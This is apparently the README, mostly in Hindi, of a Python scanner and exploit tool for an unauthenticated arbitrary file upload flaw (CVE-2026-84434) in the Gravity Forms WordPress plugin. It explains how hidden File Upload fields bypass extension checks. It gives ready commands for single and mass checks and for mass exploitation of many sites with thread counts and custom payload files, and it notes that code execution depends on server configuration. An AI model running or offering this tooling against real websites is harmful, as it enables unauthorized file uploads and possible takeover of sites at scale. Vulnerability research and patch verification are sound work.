
Python PoC स्कैनर और CVE-2026-84434 के लिए exploit, जो Gravity Forms <=3.1.0.4 में छिपे हुए File Upload फ़ील्ड्स के माध्यम से एक unauthenticated arbitrary file upload है। check, exploit, और mass scan मोड्स का समर्थन करता है।
Gravity Forms में CVE-2026-84434 के लिए Python 3 PoC स्कैनर और एक्सप्लॉइट।
| प्लगइन | gravityforms |
| प्रभावित | ≤ 3.1.0.4 |
| में ठीक किया गया | 3.1.0.5+ (विक्रेता सुरक्षा रिलीज़ 3.1.1) |
| CVSS | 9.8 (गंभीर) |
| प्रमाणीकरण | अनधिकृत |
| CWE | CWE-434 — अनिर्बंधित अपलोड |
| श्रेय | 0xd4rk5id3 — EnvoraSec (Wordfence) |
छिपे हुए File Upload फ़ील्ड सत्यापन पाइपलाइन में एक्सटेंशन सत्यापन को छोड़ देते हैं, जबकि पर्सिस्टेंस पथ अभी भी समतुल्य जाँचों के बिना upload_file() को कॉल कर सकता है। एक अनधिकृत हमलावर एक सार्वजनिक फ़ॉर्म पर POST कर सकता है जिसमें Visibility → Hidden के साथ एक File Upload फ़ील्ड शामिल है।
फ़ाइलें wp-content/uploads/gravity_forms/ के अंतर्गत संग्रहीत की जाती हैं। Gravity Forms आमतौर पर PHP निष्पादन को अवरुद्ध करने के लिए .htaccess नियम जोड़ता है; RCE सर्वर कॉन्फ़िगरेशन पर निर्भर करता है (nginx, वैकल्पिक docroot, आदि)।
gform_wrapper और एक छिपे हुए fileupload फ़ील्ड (input_{form}_{field}) के लिए क्रॉल करेंgform_submit, is_submit_{id}, छिपे हुए इनपुट पर फ़ाइल)pip install -r requirements.txtpip install -r requirements.txt
# Check single target
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (built-in benign .txt probe unless --payload-file is set)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7
# Custom upload file (your own probe — not included in this repo)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7 \
--payload-file probe.txt
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet
| विकल्प | विवरण |
|---|---|
-u, --url | एकल लक्ष्य बेस URL |
--list | URL सूची, FOFA-शैली CSV, या candidates.jsonl |
--mode | check (डिफ़ॉल्ट) या exploit |
--form-id | Gravity Form ID |
--page-url | फ़ॉर्म होस्ट करने वाले पृष्ठ का पथ या URL |
--file-field | छिपे हुए फ़ाइल अपलोड फ़ील्ड ID |
--payload-file | अपलोड करने के लिए स्थानीय फ़ाइल (डिफ़ॉल्ट: इन-मेमोरी बेनाइन .txt मार्कर) |
--paths | फ़ॉर्म के लिए क्रॉल करने के लिए अतिरिक्त पथ |
--threads, -j | मास कॉन्करेंसी (डिफ़ॉल्ट 20) |
--output | JSONL परिणाम (डिफ़ॉल्ट cve_2026_84434_results.jsonl) |
--vuln-list | हिट URL या एक्सप्लॉइट सफलताएँ (डिफ़ॉल्ट hits.txt) |
--candidates-list | मेटाडेटा जाँचें (डिफ़ॉल्ट candidates.jsonl) |
--quiet | मास रन पर कम प्रगति आउटपुट |
| फ़ाइल | सामग्री |
|---|---|
cve_2026_84434_results.jsonl | प्रति लक्ष्य पूर्ण JSON |
hits.txt | उम्मीदवार बेस URL |
candidates.jsonl | form_id, page_url, file_field / input_name |
status मान (चेक)| स्थिति | अर्थ |
|---|---|
candidate | कमजोर संस्करण + सार्वजनिक फ़ॉर्म पर छिपा हुआ फ़ाइल अपलोड |
forms_no_hidden_upload | फ़ॉर्म मिले, HTML में छिपे हुए फ़ाइल अपलोड के साथ कोई नहीं |
plugin_no_public_forms | प्लगइन मौजूद, कोई सार्वजनिक फ़ॉर्म नहीं मिला |
patched | संस्करण > 3.1.0.4 |
no_plugin | Gravity Forms का पता नहीं चला |
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
स्थानीय स्कैन सूचियाँ और आर्टिफ़ैक्ट (list.txt, *.jsonl, कस्टम पेलोड) .gitignore में हैं और इन्हें कमिट नहीं किया जाना चाहिए।
केवल अधिकृत सुरक्षा परीक्षण के लिए। लागू कानूनों और कार्यक्रम नियमों के अनुपालन की जिम्मेदारी आपकी है।